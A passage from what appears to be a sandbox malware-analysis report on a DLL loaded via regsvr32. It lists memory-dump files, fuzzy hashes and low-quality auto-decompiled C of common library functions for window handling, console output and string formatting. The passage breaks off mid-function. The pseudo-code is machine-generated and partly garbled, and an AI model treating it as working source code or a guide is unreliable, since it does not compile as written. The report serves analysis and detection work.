Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Capture$Message$Dispatch
String ID:
API String ID: 3654672037-0
Opcode ID: 38140118402c3adbe4c1205c14bf81f0338a343fd415b5ef96ecfddfa2350e81
Instruction ID: 9dede81687fef6044430121704c4c6213a6de143b75fc120dd0c48e3c5a13ea5
Opcode Fuzzy Hash: 38140118402c3adbe4c1205c14bf81f0338a343fd415b5ef96ecfddfa2350e81
Instruction Fuzzy Hash: CB21D13661464982DB60DFF4F459F7E63A0FB86B84FD41225ED8A0A654CF78C9C0CA02

Uniqueness

Uniqueness Score: -1.00%

Function 100492F0 Relevance: 7.6, APIs: 5, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 1004934C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,1003E0C9), ref: 10049367

Part of subcall function 1004EC70: CreateFileA.KERNEL32 ref: 1004EC9A

GetConsoleOutputCP.KERNEL32 ref: 1004937C
WideCharToMultiByte.KERNEL32 ref: 100493AD
WriteConsoleA.KERNEL32 ref: 100493D2

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Console$Write$ByteCharCreateErrorFileLastMultiOutputWide
String ID:
API String ID: 1850339568-0
Opcode ID: e8479937470cce33f92d0965ff99913840db6c688cec9e1d2640cdc338235110
Instruction ID: 448dfcee618f041f140232e6c3d76a71d7ee5cac8b2eff04e3d57ec37b31aad6
Opcode Fuzzy Hash: e8479937470cce33f92d0965ff99913840db6c688cec9e1d2640cdc338235110
Instruction Fuzzy Hash: 66216536604A8182D711CF64F84439A73A4F7897B9F614325EAAD86AE4DFBCC586CF04

Uniqueness

Uniqueness Score: -1.00%

Function 1001E530 Relevance: 7.6, APIs: 5, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 41%

			E1001E530(void* __ebx, void* __ecx, void* __edx, void* __esi, void* __rax, void* __rcx, void* __rdx, void* __r11) {
				struct HWND__* _t13;
				signed int _t16;
				void* _t20;
				void* _t21;
				void* _t28;
				void* _t29;
				void* _t31;
				void* _t32;
				void* _t42;
				void* _t43;
				void* _t44;

				_t44 = __r11;
				_t41 = __rdx;
				_t31 = __rax;
				_t28 = __esi;
				_t21 = __ecx;
				_t20 = __ebx;
				_t29 = __edx;
				_t43 = __rcx;
				GetDesktopWindow();
				while(1) {
					_t13 = GetWindow();
					_t32 = _t31;
					if(_t31 == 0) {
						break;
					}
					E1001439C(_t20, _t21, _t28, _t31, _t32, _t41, _t44);
					_t42 = _t31;
					if(_t31 != 0) {
						_t37 =  *((intOrPtr*)(_t43 + 0x40));
						if( *((intOrPtr*)(_t43 + 0x40)) != _t32) {
							_t41 = _t32;
							if(E1001E46C(_t37, _t32) != 0) {
								_t16 = GetWindowLongA();
								if(_t29 != 0) {
									if((_t16 & 0x18000000) == 0 && ( *(_t42 + 0x78) & 0x00000002) != 0 &&  *((long long*)(_t43 + 0x138)) == 0) {
										ShowWindow();
										 *(_t42 + 0x78) =  *(_t42 + 0x78) & 0xfffffffd;
									}
								} else {
									if((_t16 & 0x18000000) == 0x10000000) {
										ShowWindow();
										 *(_t42 + 0x78) =  *(_t42 + 0x78) | 0x00000002;
									}
								}
							}
						}
					}
				}
				return _t13;
			}

0x1001e530
0x1001e530
0x1001e530
0x1001e530
0x1001e530
0x1001e530
0x1001e539
0x1001e53b
0x1001e53e
0x1001e5d6
0x1001e5d6
0x1001e5df
0x1001e5e2
0x00000000
0x00000000
0x1001e554
0x1001e55c
0x1001e55f
0x1001e561
0x1001e568
0x1001e56a
0x1001e574
0x1001e57e
0x1001e586
0x1001e5aa
0x1001e5c4
0x1001e5ca
0x1001e5ca
0x1001e588
0x1001e592
0x1001e599
0x1001e59f
0x1001e59f
0x1001e592
0x1001e586
0x1001e574
0x1001e568
0x1001e5d3
0x1001e5f0

APIs

GetDesktopWindow.USER32 ref: 1001E53E
GetWindowLongA.USER32 ref: 1001E57E
ShowWindow.USER32 ref: 1001E599
GetWindow.USER32 ref: 1001E5D6

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Window$DesktopLongShow
String ID:
API String ID: 1948769292-0
Opcode ID: 960191610fe31ad67c807c23fd33afaf28d2dcef0dbf0d566c9270b9d18431e1
Instruction ID: a7f20a05a31ba885b8aa7b0045a0dfcf30c4ba9da6a28c29337bf0ccf9aad25f
Opcode Fuzzy Hash: 960191610fe31ad67c807c23fd33afaf28d2dcef0dbf0d566c9270b9d18431e1
Instruction Fuzzy Hash: 6F117021601BC543EB15DB26AD1532D22D6EB89BE9F295030EE5B4B795FF78CCC19300

Uniqueness

Uniqueness Score: -1.00%

Function 1002300C Relevance: 7.6, APIs: 5, Instructions: 57
windowCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E1002300C(void* __ebx, void* __eflags, void* __rax, intOrPtr* __rcx, void* __r8, void* __r9, void* __r11) {
				void* _v40;
				char _v48;
				char _v64;
				signed int _v76;
				char _v80;
				long long _v88;
				void* __rbx;
				void* _t46;
				intOrPtr* _t49;

				_t46 = __eflags;
				_v88 = 0xfffffffe;
				_t49 = __rcx;
				E1000F7C8(__ebx,  &_v48, __rcx, __r8, __r11);
				GetClientRect(??, ??);
				GetWindowRect(??, ??);
				E1000F3D0(_t46, _t49,  &_v80);
				r8d = _v76;
				r8d =  ~r8d;
				OffsetRect(??, ??, ??);
				E1000EE28( &_v48,  &_v64);
				r8d = _v76;
				r8d =  ~r8d;
				OffsetRect(??, ??, ??);
				 *((intOrPtr*)( *_t49 + 0x290))();
				E1000EE80( &_v48,  &_v80);
				r9d = 0;
				SendMessageA(??, ??, ??, ??);
				 *((intOrPtr*)( *_t49 + 0x298))();
				return E1000F850(r9d, _t49,  &_v48,  &_v48);
			}

0x1002300c
0x100249e2
0x100249eb
0x100249f6
0x10024a05
0x10024a14
0x10024a22
0x10024a27
0x10024a2c
0x10024a3a
0x10024a4a
0x10024a4f
0x10024a54
0x10024a62
0x10024a78
0x10024a89
0x10024a8e
0x10024a9e
0x10024ab4
0x10024acb

APIs

Part of subcall function 1000F7C8: GetWindowDC.USER32 ref: 1000F810

GetClientRect.USER32 ref: 10024A05
GetWindowRect.USER32 ref: 10024A14

Part of subcall function 1000F3D0: ScreenToClient.USER32 ref: 1000F3E2
Part of subcall function 1000F3D0: ScreenToClient.USER32 ref: 1000F3F0

OffsetRect.USER32 ref: 10024A3A

Part of subcall function 1000EE28: ExcludeClipRect.GDI32 ref: 1000EE52
Part of subcall function 1000EE28: ExcludeClipRect.GDI32 ref: 1000EE72

OffsetRect.USER32 ref: 10024A62

Part of subcall function 1000EE80: IntersectClipRect.GDI32 ref: 1000EEAA
Part of subcall function 1000EE80: IntersectClipRect.GDI32 ref: 1000EECA

SendMessageA.USER32 ref: 10024A9E

Part of subcall function 1000F850: ReleaseDC.USER32 ref: 1000F87C

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Rect$Clip$Client$ExcludeIntersectOffsetScreenWindow$MessageReleaseSend
String ID:
API String ID: 890540625-0
Opcode ID: 8d91d270fd30982133b13f3d8df7f39796375b4bc51f27aee534687424f49344
Instruction ID: fa10e9aa25e5fa2d4e1b9ffd4aac5736df0884f0961246fba41ff7b6058eef4b
Opcode Fuzzy Hash: 8d91d270fd30982133b13f3d8df7f39796375b4bc51f27aee534687424f49344
Instruction Fuzzy Hash: 62214C7620894691CB20DF14F84469E7730F7C9BE9F545212EA9E47A7CDE78C689CB00

Uniqueness

Uniqueness Score: -1.00%

Function 1001F78C Relevance: 7.6, APIs: 5, Instructions: 56
windowCOMMON

Download Yara Rule

C-Code - Quality: 26%

			E1001F78C(void* __ebx, void* __edx, void* __esi, void* __rcx, void* __rdx, void* __r8, void* __r9, void* __r11) {
				signed int _v56;
				void* _v328;
				void* _t14;
				signed long long _t36;
				signed long long _t37;
				intOrPtr _t50;

				_t53 =  &_v328;
				_t36 =  *0x100b1640; // 0xf93099fb11e7
				_t37 = _t36 ^  &_v328;
				_v56 = _t37;
				_t14 = E1001A994(__ebx, __edx, __esi, _t37, __r8, __r9, __r11);
				_t50 =  *((intOrPtr*)(_t37 + 8));
				if(_t50 != 0 && __ebx != 0 && _t14 != 0) {
					_t25 =  *(_t50 + 0x120) & 0x0000ffff;
					if(__ebx == ( *(_t50 + 0x120) & 0x0000ffff) && _t14 ==  *(_t50 + 0x122)) {
						r8d = 0x103;
						GlobalGetAtomNameA(??, ??, ??);
						GlobalAddAtomA(??);
						_t25 =  *(_t50 + 0x122) & 0x0000ffff;
						r8d = 0x103;
						GlobalGetAtomNameA(??, ??, ??);
						GlobalAddAtomA(??);
						r9d =  *(_t50 + 0x122) & 0x0000ffff;
						r9d = r9d << 0x10;
						SendMessageA(??, ??, ??, ??);
					}
				}
				return E1002FF40(_t25, _v56 ^ _t53);
			}

0x1001f791
0x1001f798
0x1001f79f
0x1001f7a2
0x1001f7b3
0x1001f7b8
0x1001f7bf
0x1001f7da
0x1001f7e4
0x1001f7f9
0x1001f7fc
0x1001f807
0x1001f80d
0x1001f819
0x1001f81c
0x1001f827
0x1001f82d
0x1001f840
0x1001f84f
0x1001f84f
0x1001f7e4
0x1001f872

APIs

GlobalGetAtomNameA.KERNEL32 ref: 1001F7FC
GlobalAddAtomA.KERNEL32 ref: 1001F807
GlobalGetAtomNameA.KERNEL32 ref: 1001F81C
GlobalAddAtomA.KERNEL32 ref: 1001F827
SendMessageA.USER32 ref: 1001F84F

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: AtomGlobal$Name$MessageSend
String ID:
API String ID: 1515195355-0
Opcode ID: 34779d1e77eb069216a0469915979423cd70ba10cfacf6f6303d69c122e8928d
Instruction ID: 87cf5baffbd53622348a1e8d782ebfe116767ea4e66701ab0bc1e04840eb81ae
Opcode Fuzzy Hash: 34779d1e77eb069216a0469915979423cd70ba10cfacf6f6303d69c122e8928d
Instruction Fuzzy Hash: C611AF32310A8293DB669B25E8403F963A0F78DBC8F840029DEDD4B665EF3CD5A5CB10

Uniqueness

Uniqueness Score: -1.00%

Function 1001EBC0 Relevance: 7.5, APIs: 5, Instructions: 38windowCOMMON

Download Yara Rule

APIs

PeekMessageA.USER32 ref: 1001EBF0
PostMessageA.USER32 ref: 1001EC09
GetCapture.USER32 ref: 1001EC0F
ReleaseCapture.USER32 ref: 1001EC1B
PostMessageA.USER32 ref: 1001EC57

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Message$CapturePost$PeekRelease
String ID:
API String ID: 1125932295-0
Opcode ID: b5fa7f6cd1d383d4c591dddf4d3e9bf3e25e1faa3d047bada93126630361fbef
Instruction ID: 0ed64ed2e1c96ad976b716cf6385d149d702f72ce4b78f1b6cd1bc78e69f9aab
Opcode Fuzzy Hash: b5fa7f6cd1d383d4c591dddf4d3e9bf3e25e1faa3d047bada93126630361fbef
Instruction Fuzzy Hash: 9E018B35712681C3F7119F60EC28B5E2BA0FB98F88F441020CE4A0BB44DF7AC586CB01

Uniqueness

Uniqueness Score: -1.00%

Function 100213FC Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 155
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E100213FC(void* __ebx, void* __ecx, void* __edx, void* __rcx, char* __rdx, void* __r8, long long* __r9) {
				signed int _v56;
				char _v312;
				long long _v320;
				char _v328;
				intOrPtr _v344;
				intOrPtr _v352;
				void* _v360;
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				signed int _t48;
				int _t50;
				int _t56;
				void* _t69;
				void* _t77;
				void* _t80;
				void* _t82;
				long long* _t85;
				signed long long _t87;
				signed long long _t97;
				signed long long _t98;
				void* _t99;
				signed long long _t100;
				void* _t102;
				void* _t103;
				intOrPtr* _t112;
				intOrPtr* _t115;
				void* _t116;
				int _t117;
				void* _t118;
				long long* _t119;
				intOrPtr _t122;
				signed long long _t126;
				void* _t127;

				_t125 = __r9;
				_t121 = __r8;
				_t110 = __rdx;
				_t103 = __rcx;
				_t77 = __edx;
				_t69 = __ebx;
				_t120 =  &_v360;
				_v320 = 0xfffffffe;
				_t97 =  *0x100b1640; // 0xf93099fb11e7
				_t98 = _t97 ^  &_v360;
				_v56 = _t98;
				_t119 = __r9;
				_t102 = __r8;
				if((0 | __r8 != 0x00000000) == 0) {
					E1000E3A4();
					asm("int3");
				}
				_t85 = _t125;
				_t46 = 0 | _t85 == 0x00000000;
				if(_t85 == 0) {
					_t46 = E1000E3A4();
					asm("int3");
				}
				E10029288(_t46);
				_t126 = _t98;
				_t87 = _t98;
				_t72 = 0 | _t87 == 0x00000000;
				if(_t87 == 0) {
					_t72 = 0x80004005;
					E10001000(0x80004005, _t77, _t98, _t102, _t103, _t116, _t121, _t125);
					asm("int3");
				}
				_t99 =  *_t98;
				_t104 = _t126;
				_t48 =  *((intOrPtr*)(_t99 + 0x18))();
				_t10 = _t99 + 0x18; // 0x18
				_t118 = _t10;
				_v328 = _t118;
				_t100 =  *((intOrPtr*)(_t102 + 8));
				if( *((intOrPtr*)(_t102 + 0x10)) != 0xfffffdf8 || ( *(_t102 + 0x78) & 0x00000001) == 0) {
					if( *((intOrPtr*)(_t102 + 0x10)) != 0xfffffdee || ( *(_t102 + 0xc8) & 0x00000001) == 0) {
						goto L11;
					} else {
						goto L10;
					}
				} else {
					L10:
					_t104 = _t100;
					_t48 = GetDlgCtrlID(??) & 0x0000ffff;
					_t118 = _v328;
					L11:
					if(_t100 == 0) {
						L17:
						__eflags =  *((intOrPtr*)(_t102 + 0x10)) - 0xfffffdf8;
						if( *((intOrPtr*)(_t102 + 0x10)) != 0xfffffdf8) {
							L26:
							_t117 = _t102 + 0x20;
							 *0x100b39b0();
							_v352 = 0x50;
							_v360 = _t117;
							r9d = 0xffffffff;
							_t122 = _t118;
							_t50 = MultiByteToWideChar(??, ??, ??, ??, ??, ??);
							__eflags = _t117;
							if(_t117 != 0) {
								__eflags = _t50 - 0x50;
								if(_t50 > 0x50) {
									_t50 = E10001000(0x80004005, 0, _t100, _t102, _t104, _t117, _t122, _t125);
									asm("int3");
								}
							}
							__eflags = _t50;
							if(_t50 > 0) {
								__eflags = _t117;
								if(_t117 != 0) {
									 *((short*)(_t117 + _t100 * 2 - 2)) = 0;
								}
							}
							L32:
							 *_t119 = 0;
							_v344 = 0x213;
							_v352 = 0;
							_v360 = 0;
							r9d = 0;
							r8d = 0;
							SetWindowPos(??, ??, ??, ??, ??, ??, ??);
							_t112 = _v328 + 0xffffffe8;
							asm("lock xadd [edx+0x10], ecx");
							__eflags = 0xffffffff;
							if(0xffffffff <= 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_t112)) + 8))();
							}
							L35:
							return E1002FF40(0x1fffffffe, _v56 ^ _t120);
						}
						_t104 = _t102 + 0x20;
						_t80 = 0x50;
						_t56 = E10032700(_t100, _t102, _t102 + 0x20, _t110, _t116, _t118, _t119, _t118, 0xffffffff);
						__eflags = _t56;
						if(_t56 == 0) {
							goto L32;
						}
						__eflags = _t56 - 0xc;
						if(__eflags == 0) {
							L25:
							E1000E35C(_t72, _t80, __eflags, _t125);
							asm("int3");
							goto L26;
						}
						__eflags = _t56 - 0x16;
						if(_t56 == 0x16) {
							L24:
							E1000E3A4();
							asm("int3");
							goto L25;
						}
						__eflags = _t56 - 0x22;
						if(_t56 == 0x22) {
							goto L24;
						}
						__eflags = _t56 - 0x50;
						if(_t56 == 0x50) {
							goto L32;
						}
						E1000E3A4();
						asm("int3");
						goto L24;
					}
					r8d = 0x100;
					_t72 = _t48;
					if(E1002853C(_t69, _t48, _t77, _t100, _t102, _t104,  &_v312, _t116, _t118, _t119, _t121, _t125, _t126) != 0) {
						r9b = 0xa;
						r8d = 1;
						_t110 =  &_v312;
						_t104 =  &_v328;
						E100285FC(_t82, _t100, _t102,  &_v328,  &_v312, _t116, _t118, _t121, _t125, _t127);
						_t118 = _v328;
						goto L17;
					}
					_t115 = _v328 + 0xffffffe8;
					asm("lock xadd [edx+0x10], eax");
					if(0x1fffffffe <= 0) {
						 *((intOrPtr*)( *((intOrPtr*)( *_t115)) + 8))();
					}
					goto L35;
				}
			}

0x100213fc
0x100213fc
0x100213fc
0x100213fc
0x100213fc
0x100213fc
0x10021401
0x10021408
0x10021411
0x10021418
0x1002141b
0x10021423
0x10021426
0x10021433
0x10021435
0x1002143a
0x1002143a
0x1002143d
0x10021440
0x10021445
0x10021447
0x1002144c
0x1002144c
0x1002144d
0x10021452
0x10021457
0x1002145a
0x1002145f
0x10021461
0x10021466
0x1002146b
0x1002146b
0x1002146c
0x1002146f
0x10021472
0x10021475
0x10021475
0x10021479
0x1002147e
0x1002148a
0x10021499
0x00000000
0x00000000
0x00000000
0x00000000
0x100214a4
0x100214a4
0x100214a4
0x100214ad
0x100214b0
0x100214b5
0x100214b8
0x10021517
0x10021517
0x1002151a
0x1002155d
0x1002155d
0x10021561
0x10021567
0x1002156f
0x10021574
0x1002157a
0x10021581
0x10021587
0x1002158a
0x1002158c
0x1002158f
0x10021596
0x1002159b
0x1002159b
0x1002158f
0x1002159c
0x1002159e
0x100215a0
0x100215a3
0x100215a7
0x100215a7
0x100215a3
0x100215ae
0x100215ae
0x100215b6
0x100215be
0x100215c6
0x100215ce
0x100215d1
0x100215d9
0x100215e5
0x100215ee
0x100215f6
0x100215f8
0x10021600
0x10021600
0x10021609
0x10021624
0x10021624
0x1002151c
0x1002152a
0x1002152e
0x10021533
0x10021535
0x00000000
0x00000000
0x10021537
0x1002153a
0x10021557
0x10021557
0x1002155c
0x00000000
0x1002155c
0x1002153c
0x1002153f
0x10021551
0x10021551
0x10021556
0x00000000
0x10021556
0x10021541
0x10021544
0x00000000
0x00000000
0x10021546
0x10021549
0x00000000
0x00000000
0x1002154b
0x10021550
0x00000000
0x10021550
0x100214ba
0x100214c5
0x100214ce
0x100214fa
0x100214fd
0x10021503
0x10021508
0x1002150d
0x10021512
0x00000000
0x10021512
0x100214d5
0x100214de
0x100214e8
0x100214f0
0x100214f0
0x00000000
0x100214f3

APIs

GetDlgCtrlID.USER32 ref: 100214A7
MultiByteToWideChar.KERNEL32 ref: 10021581
SetWindowPos.USER32 ref: 100215D9

Strings

P, xrefs: 10021567

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: ByteCharCtrlMultiWideWindow
String ID: P
API String ID: 102189203-3110715001
Opcode ID: 60ac42f946764b96487c9421dcc3e1a85afe1fed23207838c5934fe2faf37c5d
Instruction ID: 22960492621a7884682ef3dd3035e046a91bbe483143fe156ab40e6a48827e9a
Opcode Fuzzy Hash: 60ac42f946764b96487c9421dcc3e1a85afe1fed23207838c5934fe2faf37c5d
Instruction Fuzzy Hash: C951C37A600A8182E715DB39E81439D23A1FB95BF8FA44315EEB9877E4DF78C885C740

Uniqueness

Uniqueness Score: -1.00%

Function 10022BB4 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E10022BB4(void* __edx, void* __esi, void* __rcx, void* __rdx, void* __rsi, void* __rbp, void* __r8, void* __r9, void* __r12, void* __r13) {
				signed int _v40;
				char _v72;
				char _v104;
				long long _v112;
				char _v120;
				void* __rbx;
				void* __rdi;
				void* _t32;
				void* _t35;
				void* _t36;
				void* _t51;
				signed long long _t63;
				signed long long _t70;
				signed long long _t71;
				void* _t72;
				long long _t73;
				void* _t75;
				intOrPtr _t76;
				intOrPtr* _t103;
				void* _t111;
				void* _t112;
				void* _t113;
				signed long long _t114;
				void* _t118;
				void* _t119;

				_t119 = __r13;
				_t118 = __r12;
				_t116 = __r9;
				_t115 = __r8;
				_t113 = __rbp;
				_t112 = __rsi;
				_v112 = 0xfffffffe;
				_t70 =  *0x100b1640; // 0xf93099fb11e7
				_t71 = _t70 ^ _t114;
				_v40 = _t71;
				_t75 = __rdx;
				_t111 = __rcx;
				E10029288(_t32);
				_t63 = _t71;
				_t58 = 0 | _t63 == 0x00000000;
				if(_t63 == 0) {
					_t58 = 0x80004005;
					E10001000(0x80004005, __edx, _t71, __rdx, __rcx, __rcx, __r8, __r9);
					asm("int3");
				}
				_t72 =  *_t71;
				 *((intOrPtr*)(_t72 + 0x18))();
				_t73 = _t72 + 0x18;
				_v120 = _t73;
				_t35 = E1001990C(_t111);
				asm("bt eax, 0xe");
				if(_t73 >= 0) {
					r8d =  *((intOrPtr*)( *((intOrPtr*)(_t111 + 0x158)) - 0x10));
					_t36 = L1000EAC8( &_v120,  *((intOrPtr*)(_t111 + 0x158)), _t112, _t113, _t118, _t119);
					if(_t75 != 0) {
						r8d = E10031330(_t36, 0x1009a118);
						r8d = E10031330(L1000EAC8( &_v120, 0x1009a118, _t112, _t113, _t118, _t119), _t75);
						L1000EAC8( &_v120, _t75, _t112, _t113, _t118, _t119);
						r9d =  *((intOrPtr*)(_t111 + 0xac));
						if(r9d > 0) {
							_t115 = 0x1009a11c;
							r8d = E10031330(E10030730(0x1009a11c, _t116),  &_v72);
							L1000EAC8( &_v120,  &_v72, _t112, _t113, _t118, _t119);
						}
					}
				} else {
					if(_t75 != 0) {
						r8d = E10031330(_t35, _t75);
						_t51 = L1000EAC8( &_v120, _t75, _t112, _t113, _t118, _t119);
						r9d =  *((intOrPtr*)(_t111 + 0xac));
						if(r9d > 0) {
							_t115 = 0x1009a11c;
							r8d = E10031330(E10030730(0x1009a11c, _t116),  &_v104);
							_t51 = L1000EAC8( &_v120,  &_v104, _t112, _t113, _t118, _t119);
						}
						r8d = E10031330(_t51, 0x1009a118);
						L1000EAC8( &_v120, 0x1009a118, _t112, _t113, _t118, _t119);
					}
					r8d =  *((intOrPtr*)( *((intOrPtr*)(_t111 + 0x158)) - 0x10));
					L1000EAC8( &_v120,  *((intOrPtr*)(_t111 + 0x158)), _t112, _t113, _t118, _t119);
				}
				_t76 = _v120;
				E10029BE0( *((intOrPtr*)(_t111 + 0x40)), _t76, _t115, _t116);
				_t103 = _t76 - 0x18;
				asm("lock xadd [edx+0x10], eax");
				if(0x1fffffffe <= 0) {
					 *((intOrPtr*)( *((intOrPtr*)( *_t103)) + 8))();
				}
				return E1002FF40(_t58, _v40 ^ _t114);
			}

0x10022bb4
0x10022bb4
0x10022bb4
0x10022bb4
0x10022bb4
0x10022bb4
0x10022bbe
0x10022bc7
0x10022bce
0x10022bd1
0x10022bd6
0x10022bd9
0x10022bdc
0x10022be6
0x10022be9
0x10022bee
0x10022bf0
0x10022bf5
0x10022bfa
0x10022bfa
0x10022bfb
0x10022c01
0x10022c04
0x10022c08
0x10022c10
0x10022c15
0x10022c19
0x10022cbb
0x10022cc4
0x10022ccc
0x10022cda
0x10022cf6
0x10022d01
0x10022d06
0x10022d10
0x10022d12
0x10022d32
0x10022d3f
0x10022d3f
0x10022d10
0x10022c1f
0x10022c22
0x10022c2c
0x10022c37
0x10022c3c
0x10022c46
0x10022c48
0x10022c68
0x10022c75
0x10022c75
0x10022c86
0x10022c95
0x10022c95
0x10022ca1
0x10022caa
0x10022caa
0x10022d44
0x10022d50
0x10022d56
0x10022d5f
0x10022d69
0x10022d71
0x10022d71
0x10022d8a

APIs

sprintf_s.LIBCMTD ref: 10022C59
sprintf_s.LIBCMTD ref: 10022D23

Strings

- , xrefs: 10022C7A, 10022C89, 10022CCE, 10022CDD
:%d, xrefs: 10022C48, 10022D12

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: sprintf_s
String ID: - $:%d
API String ID: 2907819478-2359489159
Opcode ID: 641f08d94a0cf667639682bb3bd5468e5c43031fd07b5e91fbc3214c8dc97477
Instruction ID: 33a63d86c0af314a166fc914002b305bdf7db908c00c5f259f337a9072dfb513
Opcode Fuzzy Hash: 641f08d94a0cf667639682bb3bd5468e5c43031fd07b5e91fbc3214c8dc97477
Instruction Fuzzy Hash: 6241E736314A8092DF15CB25E4513DD6360FB8ABD4FC44122AA9E4BB65EF2CE945C780

Uniqueness

Uniqueness Score: -1.00%

Function 1000D958 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 96
COMMON

Download Yara Rule

C-Code - Quality: 27%

			E1000D958(void* __edx, void* __esi, void* __eflags, long long __rax, void* __rcx, char* __rdx, void* __r8, char _a16, char _a32) {
				intOrPtr _v64;
				intOrPtr _v72;
				intOrPtr _v80;
				char _v88;
				long long _v96;
				long long _v104;
				signed int _v112;
				signed int _v120;
				void* __rbx;
				void* __rdi;
				void* __rsi;
				long _t31;
				signed int _t33;
				void* _t34;
				long _t46;
				signed int _t48;
				long long _t62;
				long long _t63;
				intOrPtr _t75;
				long long _t81;
				char* _t82;
				void* _t83;
				void* _t91;

				_t62 = __rax;
				_v96 = 0xfffffffe;
